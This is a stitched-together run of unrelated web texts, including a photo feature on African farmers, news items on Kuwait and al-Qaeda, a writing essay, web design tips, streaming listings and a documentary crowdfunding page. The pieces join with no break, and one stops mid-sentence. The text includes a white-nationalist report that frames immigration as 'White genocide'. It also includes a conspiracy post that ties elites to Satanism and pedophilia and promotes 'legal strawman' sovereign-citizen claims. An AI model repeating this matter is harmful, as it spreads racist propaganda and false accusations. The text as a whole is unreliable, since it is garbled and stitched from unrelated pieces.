But not nearly enough rain has hit the cracked soil in recent years, and the lake is shrinking.
Boy with mango at Lake Bam, near the town of Kongoussi, Burkina Faso
In an attempt to capture the struggles and beauty of life in smallholder farming communities like this, photographer Kenneth O'Halloran visited farmlands in Malawi, Kenya, Zambia, Burkina Faso and Togo, over the last couple of years.
His images depict the daily life of some of the world's most vulnerable people.
Agriculture in the belt of countries below the Sahara desert is particularly vulnerable to climate change, with some projections saying that the production of cereal crops in the region could fall by up to 30 per cent in the coming decade, according to Self Help Africa, a non-profit organization who operate in the area and supported the photographer's work.
Harvested sunflowers in the village of Guduza, Zambia
Shorter growing seasons, a decrease in rainfall, and yet occasional destructive flooding all contribute to the vulnerability of the people in the region, who depend on their crops for their survival.
Without water, nothing grows, but too much, from heavy rain and flash floods, can create problems too.
At a stop in a village in the Centre-Est region of Burkina Faso, O'Halloran met a young man digging for groundwater with a shovel.
His community hopes the well will help boost their crop yield, in an attempt to adapt to a changing climate which has brought on hotter summers and poor harvests.
Zougmore Saidou, 21, digging a well at Gomtenga Village, Burkina Faso
The images show how climate change directly affects poor, rural communities, the photographer Kenneth O'Halloran told CNN.
"They have been forced to accept that rain-fed agriculture will only provide them with a supply of food for part of the year," he says.
In 2014 and 2015 upwards of two million people in Burkina Faso received food aid during the so-called hungry season -- the months after the year's store of grain has been used up and before the next harvest, according to O'Halloran.
"In the past they used to grow enough to carry them through eight or nine months, they told me. But no longer."
Farmer Michael Mwangi, 48, in the village of Haraka, Nakuru County, Kenya
O'Halloran's photos "Rural Africa" are currently on display at the Syngenta Photography Award 2017 exhibition, "Grow-Conserve," at Somerset House in London until March 28.
The image "Rice Farmer" (below) won the Open Category.
He was enthralled by the story of 38-year-old Sanwogou Lalle -- a mother of five and rice farmer in Tonte Village, Togo -- who lay out her grains to dry on a blue concrete surface in front of him.
Sanwougou Lalle, 38, drying rice in the village of Tonte, Togo
"Sanwogou, who was just months away from giving birth to her fifth child when this picture was taken. She told me she was sending all of her children to school, and she had a dream that one day her son would become a doctor."
More than half the farmers in sub-Saharan Africa are women, according to Self Help Africa, and in some areas women produce 70 per cent of the food grown on small farms.
The ensete plant is native to tropical regions of Africa and Asia and an important food crop in Ethiopia
Some 153 million people in sub-Saharan Africa -- about 26 percent of people over 15 -- suffered from severe food insecurity in 2014 and 2015, according to recent statistics from the UN Food and Agriculture Organization (FAO).
A distant memory for many of the world's urbanites today, subsistence farming is still the main livelihood across sub-Saharan Africa, where 389 million people are estimated to live on less than $1.90 a day.
Around half the world's extreme poor live in the region, according to the World Bank, who raised the threshold for extreme poverty from $1.25 to $1.90 in 2015.
Fisherman Peter Chirwa, 45, prepares his nets in Ngosi Village, Malawi
The challenges go beyond the confines of their farms. With many relying on local fish as well, threats of depleted fish stocks and lakes drying out leave them vulnerable too.
"The shrinking supply of fish from the lake has significant implications for food security in Malawi, where most of the population can rarely afford to buy meat, and rely on fish from the lake as a crucial source of protein, minerals and micronutrients," says O'Halloran.
Fishermen's nets laid out to dry in Ngosi Village, Northern Malawi
O'Halloran says the images send an important message of the reality of the people he encountered.
"They open a window into the real lives of real people, going about their daily jobs, working the land and the water, so that it will yield the food and the crops they need to sustain themselves."
They illustrate the beauty and simplicity of rural Africa, where life is "timeless".
"The way of life, particularly in rural communities, has changed little with the passage of generations. Because of this, many of the trappings of modern society -- cars, roads, buildings, and housing -- are entirely absent," the photographer adds.
David Matandala, 75, harvesting Maize in Mlonda Village, Malawi
O'Halloran's journey took him to some of the remotest corners of the continent. And he is likely to come back for more.
"Africa has always fascinated me. The early morning light, the colors, the landscapes and the people provide the photographer with an almost limitless array of options and possibilities."
"I've traveled widely in Africa, and have developed a great love for the continent and its people."When I read news stories about sexual harassment, rape culture or mansplaining, I find myself completely and utterly unmoved. There is a reason for this. I – unlike the men who loudly declare that they deplore sexism because they are the father of daughters – have no daughters. And as a man with no daughters, I am completely incapable of feeling any empathy towards any woman whatsoever.
It’s not that women have played no role in my life. One of my great formative influences was my mother, who not only fed and clothed me but went so far as to grow me in her womb, and even gave birth to me. I have always appreciated the kindness she showed towards me, in large part because I did not wish to spend my childhood hungry, naked or never being born at all. Thank you, mother, for spawning me. You have been a great help.
Today many of my own colleagues are women, too – and despite being women, many of them even have jobs. Isn’t that great? I have yet to learn which of them is which – I |
The majority of employed Kuwaiti citizens have jobs in the public sector and are entitled to benefits such as low-cost land, interest-free housing loans, and free education and health care.
Abbas al Mejren, an economist at Kuwait University, said the government has a limited ability to control the price rises that are expected to come in the wake of the windfalls, and he expects prices to start their upward spiral as soon as tomorrow.
"Usually, when you have given much less to employees - not to every citizen - there is a big effect on the inflation rate," he said. The country's annual rate of inflation could escalate to as much as 11 per cent from its current level of around three to four per cent, he said.
Free food rationing will encourage more families to use the system and encourage "irrational" consumption of the goods on offer, Mr al Mejren said, adding that the price rises on other products will be borne by all of the country's population because inflation "does not differentiate between Kuwaiti and non-Kuwaiti".
jcalderwood@thenational.aeHome » Activism, Europe, European Pride, Extinction, Immigration, Protests » Thousands in Latvia, Lithuania and Estonia hold "Anti White Genocide" Rallies
On August 4, thousands of Latvians and people from other Baltic countries joined together to protest the attempts by anti-Whites to kick start White genocide in Latvia, Lithuania and Estonia.
“Stop Genocide Against Latvians” read one protestor’s sign, and another sign called to “Stop Genocide Against White Nations”.
The protests had around 1,500 people and were held in the Latvian capital of Riga outside the Cabinet of Ministers Building.
One protester told media company, Ukraine Today: “I came with an aim to exclude the influx of refugees which endangers Latvia’s security and which could continue as an avalanche-like process, as has already happened in other countries, in particular in Western Europe.”
Despite 79% of Latvians saying they are against non-European immigration in a recent poll, the Latvian government has pledged to move in 250 illegal immigrants into the country.
Eastern Europe and Baltic Europe has seen just how bad all this “Multiculturalism” and “Diversity” has been for Western Europe. You can walk some cities in Western Europe and question if you are actually in Europe at all.
Rate this item: 1.00 2.00 3.00 4.00 5.00 Submit Rating No votes yet. Please wait...
RELATED ARTICLES
Did you like this information? Then please consider making a donation or subscribing to our Newsletter.Loading... Loading...
A growing number of people are starting to unveil the plethora of hidden truths that are right there for us to see if we simply dig past the surface and think logically. It started with simpler truths like our media being controlled, the banking system being a Ponzi scheme, and GMO’s being destructive for our health, but over time the uncomfortable revelations have started to progress into much deeper and uncomfortable truths about 9/11, or the counter-culture being manufactured by intelligence agencies, and many elites being tied to Satanism and/or child pedophilia.
I know this may be extremely difficult for many people to hear, let alone fathom, but there seems to be a lot of truth being hidden in these fields of research. I’m not asking you to take my word for it, because everyone should research this information for themselves, but the reality appears to be a lot more evil and complex than most people want to believe. The rabbit hole goes very deep and has spanned many generations, making it all the more difficult to come to terms with. However, we can’t hide from these truths; and instead must learn to accept them and move forward.
One of the deeper and more profound truths coming to light revolves around the legal system, and is largely rooted in the unknown concept of what’s know as a “legal strawman.” To briefly summarize this idea, the major premise is that each citizen is by legal definition a corporation, which is then owned by a larger corporation, the government, which seems to be owned by a larger corporation, the Crown of England and/or the Vatican. So in essence, people are legally considered the stock of their government, which is a corporation in and of itself. This means that everything you think you own, is in fact owned by the government since they own you.
This didn’t happen by accident either, as it has been the product of a long and complex deception by the very same people responsible for almost all the other problems being uncovered by various independent researchers. In fact, the faulty legal system that people have been swindled into believing is real, which cons them into voluntarily giving up their sovereign rights as natural human beings, is at the core of the entire conspiracy to enslave humanity. Without this structure in place, many of the other games being played would be in jeopardy of collapse.
The goal of the following podcast is to introduce what exactly the legal strawman is and how it came about in the hopes that awareness on the subject can spark the winds of change and further the restoration of personal sovereignty. I hope people will strengthen their knowledge on this subject because uprooting the core of our issues is the only way true change will manifest. Please keep an open mind and do go explore this subject on your own, so we can take this knowledge to new heights. Better knowledge breeds enhanced actions in the physical world.
Plenty of sources will be provided for people to explore further.
Help Us Be The Change We Wish To See In The World.Teamsters Local 745 in Dallas recently won two organizing campaigns, with more than 20 workers on their way to more secure futures.
In the first victory, on October 7, 2015 workers at Exel, a distribution center in Socorro, Texas, near El Paso, voted 8 to 4 to join Local 745. There are 12 warehouse workers in the bargaining unit.
The Exel workers are seeking a fair seniority system, fair wages and respect on the job. The workers remained united despite a vicious anti-worker, anti-union campaign waged by the employer.
On October 9, workers at Darling International in Dallas, a grease recycling company, voted 6 to 2 to join Local 745. There are 10 maintenance and labor workers in the bargaining unit. The workers want similar issues addresses—seniority, wages and respect. The drivers at the company formed their union with Local 745 in 2009.
“These two victories, while far apart and at different companies, show that workers really need and want the protections that come with being Teamsters,” said Brent Taylor, Local 745 Secretary-Treasurer. “We will work hard to negotiate strong contracts for the workers at both companies.”Image copyright AFP Image caption Harith al-Nadhari described the Charlie Hebdo attacks as a 'blessed invasion' of Paris
A senior al-Qaeda militant has been killed by a US drone strike in the south of the country, the group has said in a Twitter posting.
Sheikh Harith al-Nadhari was among four people killed in the 31 January strike in Shabwa province. There have been at least three such strikes this year.
Al-Nadhari recently appeared in an al-Qaeda video praising January's attack on French magazine Charlie Hebdo.
He was among the group's few public faces and had threatened more attacks.
"It is better for you to stop your aggression against the Muslims, so perhaps you will live safely. If you refuse but to wage war, then wait for the glad tiding," he was quoted as saying in a 9 January video after the France attacks.
Al-Qaeda in the Arabian Peninsula (AQAP) said on Twitter that al-Nadhari and three other militants were killed in a "crusader American drone strike against their car in the Saeed area of Shabwa province".
The charred bodies of the four were found soon afterwards, tribal sources told the AFP news agency.
The attack, first reported by Yemeni tribal and security officials, has been interpreted by correspondents as a sign of the determination of the US to keep fighting al-Qaeda despite Yemen's political paralysis.
Yemeni President Abdrabbuh Mansour Hadi resigned at the end of last month along with his prime minister in protest at the takeover of the capital Sanaa by Shia Houthi rebels, creating a dangerous political vacuum.
His American counterpart Barack Obama on 25 January rejected any US troop deployments to Yemen but pledged to continue attacking "high value targets" in the country.
Al-Qaeda in the Arabian Peninsula
Formed in January 2009 by a merger between al-Qaeda in Saudi Arabia and Yemen
Mostly based in eastern Yemen
Led by Nasser al-Wuhayshi, a Yemeni former aide to Osama bin Laden. Deputy leader Saudi ex-Guantanamo inmate Said al-Shihri reported killed in September 2012
Aims to topple Saudi monarchy and Yemeni government, and establish an Islamic caliphate
Came to prominence with Riyadh bombings in 2003, and 2008 attack on US embassy in Sanaa
Says it was behind an attempt to blow up US passenger jet in December 2009
Yemen proves security nightmare for US
Yemen crisis and an uncertain futureDraft is a series about the art and craft of writing.
My new editor and I were sharing a celebratory drink at a swanky Lower Manhattan bar, like a pair of characters in my first novel, which she would publish in less than a year. She said that everyone loved it, there was only one concern: It did not have an ending. I explained that it did have an ending, it was just an ambiguous one.
She nodded. “But what happens to the characters?”
I had to admit that I did not know.
Endings have always been my Everest. Or, really, if writing a novel is like climbing Everest, then my tendency is to get within eyeshot of the summit and say, “Well, that’s far enough.” In the seventh grade my English teacher had only one rule: Our stories couldn’t end with it all turning out to be a dream. Thanks to me, this rule soon expanded to include everyone dying in a bus crash, an asteroid hitting Earth, etc., etc.
In college I wrote nearly 300 pages of a novel in 10 months, got right up to the final scene and — stopped. I knew exactly what was going to happen, I just didn’t write it down. Three years later I started over, labored for a year and with a final gasp of effort managed to tack on a short ending. Then I closed the document and walked away.
If this seems certifiable, I can say only that writing a bad book is like reading one. Sometimes you trudge on with faith that the ending will redeem the rest. Sometimes you give up, because you are sure it won’t.
The oldest surviving text on writing is Aristotle’s “Poetics.” Circa 335 B.C., he defined an ending as “that which itself naturally follows some other thing, either by necessity, or as a rule, but has nothing following it.” The ending occurs when the chain of cause and effect reaches its final effect. But after the big wedding I always want to know: How do the star-crossed lovers get on? At least with tragedies you can kill off your hero in some spectacular fashion. Afterward, nothing’s the same. But how exactly? Even after “The rest is silence,” in “Hamlet,” I’m still wondering what Fortinbras gets up to. Cleaning up all those dead bodies, I guess.
How do you know when it’s over? My “Gotham Writer’s Workshop Guide” advises that an ending “generally follows a pattern of crisis, climax, and consequences […] we get the answer to our major dramatic question. Then, the consequences, however briefly handled, are alluded to at the very end of the piece.”
Sounds so simple. Like George Costanza in a board meeting, just know when you’ve peaked and get out fast. Raise the stakes higher and higher until, in a climactic scene, you answer the “major dramatic question” and take a bow. Does Lizzie find true love? Does Johnny survive the war? These premises have “yes or no” endings already built in. Lizzie is swept off her feet by the man of her dreams, or she decides she’s better off on her own. Johnny comes home to a parade, or in a box.
Or is that too simple? In “Poetics,” Aristotle explains that a good plot “will admit of a change from bad fortune to good, or from good fortune to bad.” But this seems awfully predictable. Perhaps we’ll try a clever twist. Lizzie starts off looking for love and ends up opening a successful coffee shop. Johnny defects from the Western Front and takes up potato farming. If the story is written by one of my undergraduate students, Lizzie and Johnny will both turn out to have been vampires the whole time! No, these endings don’t quite satisfy, because according to the novelist Elizabeth Bowen, a writer must move toward “an end not to be foreseen (by the reader) but also towards an end which, having been reached, must be seen to have been from the start inevitable.”
This is a high-wire act, to be sure. Fitzgerald had to make us believe things just might work out for Gatsby and Daisy, but still leave enough clues so later we could see they were doomed from the start. Of course things aren’t going to work out for the Joads, as they head west. But Steinbeck must make us believe they’ll find greener pastures. And how could I have really thought J.K. Rowling was going to polish off Harry Potter at the end of the seventh book? We cry “spoiler alert!” to save ourselves from the knowledge of endings, but how many truly surprise us? When the rare Red Wedding occurs, we all tip our hats.
One solution is the ambiguous ending. “The Gotham Writer’s Guide” advises that the answer to the major dramatic question can be a maybe “as long as you’ve convinced the reader that you’ve tried your best and that, in the end, neither yes nor no would really be honest.”
If I had it my way, instead of “The End,” every book would close with “I’ve Tried My Best.” Does Lizzie find true love? Well, she meets our veteran Johnny and after three awkward dates they sleep together. In the night he screams during PTSD nightmares. In the morning she sees a bird, stuck on the fire escape, flapping a broken wing. The end. I’ve tried my best.
These non-endings leave much to discuss in workshops, and they can work well in short stories, often said to be “slices” of life, beginning in the midst of some situation and often ending with just the whiff of possible change. Anton Chekhov, a master short story writer, said, “The role of the artist is to ask questions, not answer them.”
But a novel aims not to represent just a slice of life, but the whole of it. We need more than just artfully posed questions. We expect to know unambiguously who is virtuous and who is corrupt, and have a novelist mete out fates accordingly. Some writers set out with a point to make about society or human nature, and they press on until they’ve made it. But this is where I start thinking I’ve climbed far enough. Who am I to say what’s right or wrong? Any further feels like playing God.
Back in the seventh grade we learned the phrase deus ex machina. This translates to “God out of the machine” and originated before Aristotle’s day, where plays would end when a god literally rose up on a platform to deliver justice to all the mortals. But of course it is not really Zeus or Athena rising up to say what’s what – it’s Sophocles or Euripides saying it, and Aristotle warns against the device, because of course the gods can see everything. The point is that we cannot.
Kurt Vonnegut put it best in a lecture to M.F.A. students at the University of Iowa: “The truth is, we know so little about life, we don’t really know what the good news is and what the bad news is. And if I die – God forbid – I would like to go to heaven to ask somebody in charge up there, ‘Hey, what was the good news and what was the bad news?’”
After you’ve created characters that feel real, developed affections and pity for them, lived with them a long time and walked them through crisis after crisis – it has to end. To turn to them and say “this was the good news, and that was the bad news” takes some hubris.
Whether or not a writer believes in God (and I’m pretty sure Vonnegut didn’t), it’s important to remember that, at best, playing is all we are doing. It’s less important if things end well for our characters than if we have shown their lives, and through them life itself, honestly. If the truth is that the good news and bad news are hard for us to tell apart, then an ending that says that is not ambiguous at all. In his book “How Fiction Works,” the critic James Wood says that if Chekhov was right and novels do not give answers, they can still give “the best account of the complexity of our moral fabric.”
We are trying our best. Endings need not be conclusions.
With this in mind, it turned out to be pretty easy to finish my novel. By the time my editor and I were done with our drinks that night, I had a pretty good idea where things had to end – like Elizabeth Bowen’s reader, as soon as I got there, it seemed to have been inevitable from the beginning. I banged out a new final chapter in just a couple of weeks.
The last hundred yards up the mountain are the steepest. The air is very thin and you cannot share it with your characters anymore. You have to leave them, along with everything you’ve written to that point. It is the last thing you want to do, but as you go higher you’ll get your first look at them from above. They become smaller somehow, as from the summit you can finally see the mountain in its entirety.
The paperback edition of Kristopher Jansma’s first novel, “The Unchangeable Spots of Leopards,” was just published.Web design tastes change so fast that it’s hard to keep up. As with all trends, it’s hard to tell what will be a short-lived fad from what will be around for a long time: there was a time when a Flash introduction was the hottest thing going around; just a few short years ago glossy buttons were everything; both of those things are now design relics, and frankly, a little embarrassing.
Don’t let the graveyard of design fads convince you that anything new or popular is just a passing fad. Some trends have lasting effects on design culture because they actually contribute to user experience and serve some purpose.
There’s a slew of design articles right now telling you what will be big in 2015, but this one’s here to identify what will be big throughout 2015 and still be going strong into 2016 and beyond. These are trends with so much momentum, they start to redefine web design as we know it…
1. Fewer pages
Remember that one time someone said “Less is more?” He was talking about the number of pages on your website these days. Many sites are using one page design or a simplified multi-page design. There are two reasons brands are loving this trend: first, users like simplicity, the easier it is for them to find what they’re looking for on your site the better; second, mobile traffic is reportedly responsible for more than 40 percent of all Internet traffic. If the website in question is more geared to mobile users — say, a restaurant site — it could be a lot more. A great example of this style is Jacks Bar, a restaurant and bar in London. As more mobile devices hit the market, scrolling will become more useful than clicking.
Triple Cherry Coffee is another great example of a one page design that has all of the information visitors need without any of the clutter. It only has two navigation links and the both link to areas on that one page.
2. Nothing less than responsive
Responsive websites — those that fit to the screen of whatever device the user is viewing the site on — are huge and they aren’t going anywhere soon. In the past, brands would sometimes design separate sites for mobile device users and for desktop users. With so many mobile devices on the market with varying screen sizes, that’s just not an efficient way to do it. In terms of SEO, search engines prefer to index only one URL for one site. Those who aren’t using responsive design need to have separate SEO campaigns for each URL. At this point, any designer working on current projects will look dated offering anything that’s not responsive.
Skinny Ties is an extremely responsive website design that works well on any screen size. From the images to the copy, the site retains its look and feel for the discerning tie shopper.
3. Personalized user experiences
Website cookies are nothing new but their use has evolved over the years. Now designers are using them to make pop-ups work more effectively, customize advertising experiences, and personalize the overall user experience. Online retailers are especially well-positioned to take advantage of this.
Let’s say you have a website that sells promotional gifts. Your core customer is an office manager or a small business owner looking for items for their clients or employees. That’s not a decision that necessarily gets made the first time he visits your site. By taking advantage of personalized user experience design, you can make sure that the experience picks right back up where he left off on each return visit.
If you’re looking for an example of a website that trades on personal user experiences, you couldn’t do any better than Amazon.com. Each time a user visits the site he’s shown items he has already viewed, items related to what he’s viewed, and items Amazon has picked out personally for him. It uses location, buying activity, and other data to make this happen.
4. Big photographic elements
Storytelling is huge in design. Using content and images to lead users on a journey from point A to point B has proven beneficial to conversion rates. Overlaying large photo elements with text and user interface elements also gives a texture that makes it more interesting to look at and interact with. The proliferation of devices with high resolution displays has made this more effective than ever.
Wide Eye Creative is an excellent example of a brand telling its story with bold photographic elements. Both as backgrounds and in its portfolio section, the images draw your eye and set the tone.
Portfolio sites particularly benefit from this design tool but retail sites can use it in smart ways, too. The trick is to use high resolution images of eye-catching shots that also tell the brand’s story using the product or inspiration in an interesting way.The custom of crossing your fingers for good luck is fairly common. Superstition states that the act of crossing one's index and middle fingers brings good luck and wards off evil spirits or witches. While the origins of this gesture are somewhat murky, it is commonly believed that the sign originated from early Christianity or pre-Christianity. While there is no solid proof of any one theory, the prevalence of crossing your fingers in cultures with a Christian background lends some credence to the claim. This idea is further supported by noting that the gesture is not common among Muslim or Buddhist cultures.
Some historians contend that this gesture pre-dates Christianity and was an early European device. Those who believed in sacred geometry thought that benign spirits lived at the intersection of crosses. These believers would extend their index fingers to make wishes. One person held out his or her finger and made the wish. The second person responded by crossing the finger with his or her own, showing support for the idea and invoking the benign spirits.
The theory of a Christian origin of crossing your fingers is based on early periods in the religion's history. During these early times, Christianity was an outlawed religion and the disciples of Christ usually formed a secret society. To protect the identity of the sect's followers, secret hand signs were developed so the members could recognize each other.Coming Soon
The Irishman
Martin Scorsese's epic saga of organized crime in postwar America, as told by a mob hit man, stars Robert De Niro, Al Pacino and Joe Pesci.
The Perfect Date
No beau? No problem! To earn money for college, a high schooler creates a dating app that lets him act as a stand-in boyfriend. Noah Centineo stars.
Crime Diaries: The Candidate
Dramatization of Mexican presidential candidate Luis Donaldo Colosio's 1994 assassination. Part of an anthology on unsolved crimes in Latin America.
ReMastered: Devil at the Crossroads
Robert Johnson was one of the most influential blues guitarists ever. Even before his early death, fans wondered if he'd made a pact with the Devil.
White Lines
When her brother is discovered dead, a Manchester woman leaves her quiet life to travel to Ibiza, where she seeks the truth about his disappearance.
Hit and Run
In this political espionage thriller series, a man's life is turned upside down when his wife is killed in a mysterious hit-and-run accident.
Virgin River
After seeing an ad for a midwife, a recently divorced big-city nurse moves to the redwood forests of California, where she meets an intriguing man.
Avatar The Last Airbender
Long ago, the four nations lived in harmony. Then, everything changed. The animated show's original creators helm a live-action take on Aang's story."Rutan Film Aims to Inspire Next Generation In this age of derivatives and faceless design-by-committee, a new film is aiming to tell the story of the most famous aircraft designer of the modern age – the legendary Burt Rutan." —Tim Robinson, Royal Aeronautical Society News
This is a once in a lifetime opportunity to document Burt Rutan as he creates a new design. It takes a lot to make a high quality feature-length documentary.
Please help us make the film the best that it can be!
STRETCH GOAL #1 - $100,000 - Completed!
This goal includes installing higher quality cameras on board Skigull as well as additional air-to-air and on-the-ground photography documenting the test flights with more high-quality cameras and angles. Our producer/director Scott B designed and installed the camera systems on Virgin Galactic's WhiteKnightTwo and SpaceShipTwo. Here's an example of his work. This goal will also enable our following Burt to Oshkosh for the 40th anniversary of the VariEze, which is going to be great fun!
STRETCH GOAL #2 - $110,000 - Cinematic Aerial Photography
The test flights for SkiGull will be incredibly exciting. There will be other Rutan design chase planes in attendance as well. We’ll shoot wonderful 4K footage and capture a sense of the freedom of flying in these remarkable aircraft.
STRETCH GOAL #3 - $120,000 - Archival
This film will tell the story of Burt’s life, from his earliest childhood, to competing model planes and beyond. There are tremendous archival resources all over the country, some of which contain incredible never-before-seen films, photographs and other materials. This goal will help us travel to archives and help us to make copies of photos and documents, digitize films, etc.
The details about Burt's new plane the SkiGull
SkiGull Description & Walter Mitty Plan
MORE INTERNATIONAL NEWS about our project! NBC, WIRED, FLYING, EAA, AOPA, and AVweb
LOOKING UP, WAY UP! THE BURT RUTAN STORY
Imagination, tenacity and courage transform the impossible into reality: A documentary about the Ultimate Maker, Aerospace Designer Burt Rutan.
Burt Rutan's ideas have revolutionized personal flight and space travel. Now we can go behind the scenes and follow the man who continues to reshape modern aviation in pursuit of his singular obsession... flight.
Described by Newsweek, as "the man responsible for more innovations in modern aviation than any living engineer," and named one of Time Magazine’s "100 most influential people in the world,” Burt Rutan created some of the most innovative designs ever flown. Few industrial designers have been as prolific and audacious as Burt Rutan.
He revolutionized the homebuilt aircraft community with a series of innovative, simple-to-build and thrilling-to-fly kit planes in the seventies. He designed Voyager, the first aircraft to fly around the world without refueling and SpaceShipOne the world's first commercial spaceship that led to the establishment of Sir Richard Branson’s Virgin Galactic.
Looking Up, Way Up! The Burt Rutan Story is a feature-length documentary spanning Burt Rutan’s life, career and legendary contributions to the field of aviation and beyond. Burt has lived an outsized public life, but much of who he is remains intensely private. This film will reach behind the public persona to reveal the origins of the drive and creativity that make him one of the world’s greatest industrial designers.
We first met Burt Rutan in 2004 when we were asked to produce, write and direct Black Sky: The Race for Space and Black Sky: Winning the X-Prize for Vulcan Productions and Discovery Channel. We have continued to shoot with Burt over the years and started to film him specifically for this documentary in 2012. Our long-standing relationship with Burt has provided us with exclusive and unprecedented access to archival footage, and to his most recent endeavors.
Our film will tell Burt’s story in his own voice and through the voices of those around him. Like most great innovators, Burt surrounded himself with a remarkable group of collaborators. Candid interviews with colleagues, friends, family, and critics as well as those he’s inspired will provide intimate accounts and perspective on his remarkable career. Never before seen footage and extraordinary material from Burt’s own archives as well as others will bring the decisive moments of their trials and triumphs to life.
BURT’S BUILDING A NEW PLANE - THE SKIGULL
Today Burt is creating another groundbreaking aircraft—in his garage. Looking Up, Way Up! The Burt Rutan Story will follow him as he builds his new plane, the SkiGull from its conception through its first test flights to its unveiling.
Few industrial designers have been as prolific or audacious as Rutan. His extraordinary 45-year body of work reads—and sometimes looks—like science fiction and encompasses 45 flown designs.
In the 1970s Rutan’s revolutionary home-built plans made it possible to build remarkable airplanes in your living room with a set of step-by-step instructions.
Voyager: The world tuned-in with rapt attention for nine days as Voyager, flown by his brother Dick Rutan and Jeana Yeager, endured to become the first aircraft to circle the globe without refueling.
In 2004, Rutan and a team of three dozen people in the Mojave Dessert put the world’s first commercial astronaut into space aboard Paul Allen’s SpaceShipOne. They went on to win the $10 million dollar Ansari X-Prize and launch the age of space tourism.
From his childhood building and competing model airplanes to the inclusion of five of his full-scale designs on permanent display at the Smithsonian National Air and Space Museum, Burt’s passion, fearless obsession and the conviction to follow his own compass have pushed him to achieve what no one thought possible.
Burt’s story has the power to inspire a new generation of makers, inventors, designers and creative technologists.
Rutan’s designs are grounded in the build-it-yourself principals being adopted by today’s burgeoning Maker Culture. In fact, he was considered a “maker” before the term was ever coined. His career is the embodiment of Science, Technology, Engineering and Mathematics (STEM) with the added grace of an artist’s sensibility.
It’s Burt Rutan’s innate nature to question conventional thinking, a trait he shares with some of history’s greatest innovators.
THIS IS WHERE YOU COME IN…
So far we are financing the film with our own money, but with Burt working so quickly on the SkiGull we need your help to keep up with him!
WHY DONATE?
At antennaFILMS we believe in the power to inspire and educate our younger generation to dream and achieve the impossible. Right now science, technology, philosophy and art are changing and intertwining in so many new and exciting ways.
With your help we can bring to the attention of future generations that anything is possible if they follow their dreams. They too can change the world.
Like so many great dreamers and inventors Burt did this not once, but countless times in his life by following his philosophy, and daring to imagine something more.
By donating to this project you are giving the chance for others to stick their heads in the clouds and keep them there. So thank you for keeping the dream alive!
WHY KICKSTARTER?
We’ve come to Kickstarter to reach out on a grassroots level to Burt’s fans and to the aviation community to assist us in the making of this film. No gift is too small. All of your gifts mean that you are participating in its creation and proving that there is a huge, hungry audience for a film about Burt.
By supporting this campaign, you are actually making this film with us. Further, some of our rewards include a way for you to literally become a part of the film.
HELP SPREAD THE WORD!
We're so grateful for your support and hope you’ll join us on Social Media. Click the link below to help us get the word out! http://lookingupwayup.com/get-the-kickstarter-out
WHO WE ARE
Sandy Guthrie (Producer, Director) recently completed projects as an Executive Producer and Showrunner for LOREDANA, ESQ., a six-part series for Sundance TV; Co-Executive Producer, AMERICAN HAUNTING for A&E; Series Producer, VIRGIN GALACTIC: WILL IT FLY? for National Geographic. Executive Producer and Writer, DELTA DIVERS: DIVER DOWN and RACING THE STORM as well as TWIN CITY BRIDGE: AFTER THE COLLAPSE for National Geographic. She co-executive produced the Lifetime Original Reality Movie KARAOKE SUPERSTARS, and served as the Supervising Producer for the 13-part A&E series ROLLER GIRLS. She has also produced, directed and edited programming for Discovery, Lifetime, A&E, Discovery Health, HBO, and Showtime. These programs include the Peabody Award and Cine Golden Eagle Award-winning BLACK SKY: THE RACE FOR SPACE, BLACK SKY: WINNING THE X-PRIZE, two seasons of PLASTIC SURGERY: BEFORE & AFTER, the Peabody Award-winning PBS series CRAFT IN AMERICA, and episodes of the Discovery series ON THE INSIDE.
Scott B (Producer, Director) is a filmmaker and documentarian whose diverse work is united by an interest in characters and stories driven by passion and obsession. Scott executive produced, wrote, directed and filmed the series DELTA DIVERS: DIVER DOWN and RACING THE STORM, as well as TWIN CITY BRIDGE: AFTER THE COLLAPSE for National Geographic. He co-executive produced the Lifetime Original Movie KARAOKE SUPERSTARS. He was Series Producer, Director, Writer and Director of Photography for VIRGIN GALACTIC: WILL IT FLY?. Scott produced, wrote and directed the Peabody Award and Cine Golden Eagle Award-winning specials BLACK SKY: THE RACE FOR SPACE and WINNING THE X-PRIZE on Discovery. He has produced, written, directed and photographed other programming on networks including Discovery, National Geographic, History, Lifetime, TLC and Discovery Health. His groundbreaking independent films have been honored in New York Film Festival, Berlin Film Festival, retrospectives at the Museum of Modern Art and in other festivals and museums worldwide. As creative consultant to Richard Branson’s Virgin Galactic he continues to document their mission to provide low-cost access to space. His recent commercial work is featured in spots for Land Rover and Grey Goose.
Patricia Bischetti (Producer) has produced and supervised documentary projects and series for cable and television networks including PBS, WNET, WGBH, Discovery, TBS, TNT, TCM, CNN, American Masters, Lifetime, Starz, Encore and Showtime. These include the Emmy Award-winning AMERICAN MASTERS MEL BROOKS: MAKE A NOISE; the Sundance Film Festival selection and Academy Award-nominated THE LAST DAYS IN VIETNAM; Peabody Award-winning and Emmy-nominated series CRAFT IN AMERICA; a ten episode series for Discovery’s ON THE INSIDE; the Peabody Award-winning BLACK SKY: THE RACE FOR SPACE; Participant Production’s THE WORLD ACCORDING TO SESAME STREET, also featured at the Sundance Film Festival; CODE BLACK, winner of the LA Film Festival; the PBS primetime series TAVIS SMILEY REPORTS; TCM’s Emmy-nominated CARY GRANT: A CLASS APART; CNN’s Emmy-nominated DYING TO TELL THE STORY that explores the world of war photojournalists; and CNN’s SOLDIERS OF PEACE: A CHILDREN’S CRUSADE, recognized internationally for its celebration of Colombia’s Children’s Peace Movement.
Bonnie Benjamin-Phariss (Advisor) is Managing Director at ProSocial. She brings three decades of experience as an award-winning production executive with a proven track record of using storytelling to change opinions and lead people to action. She has worked with the film industry’s greatest brands and creative leaders, including Disney, CNN, HBO, PBS and National Geographic. Bonnie oversaw Vulcan Productions documentary projects for 14 years. The Independent film production company, founded by Microsoft co-founder Paul G. Allen, Vulcan Productions is noted for telling powerful stories that help audiences understand the world around them, respond to challenges and bring about lasting change Prior to her work at Vulcan Productions, Bonnie spent seven years with Disney as Manager of Creative Development and Business Administration at the Disney Institute in Orlando, Florida. Bonnie began her career as Director of Research and Development for public affairs programming for WNET in New York (https://www.linkedin.com/in/bonniebenjaminphariss).
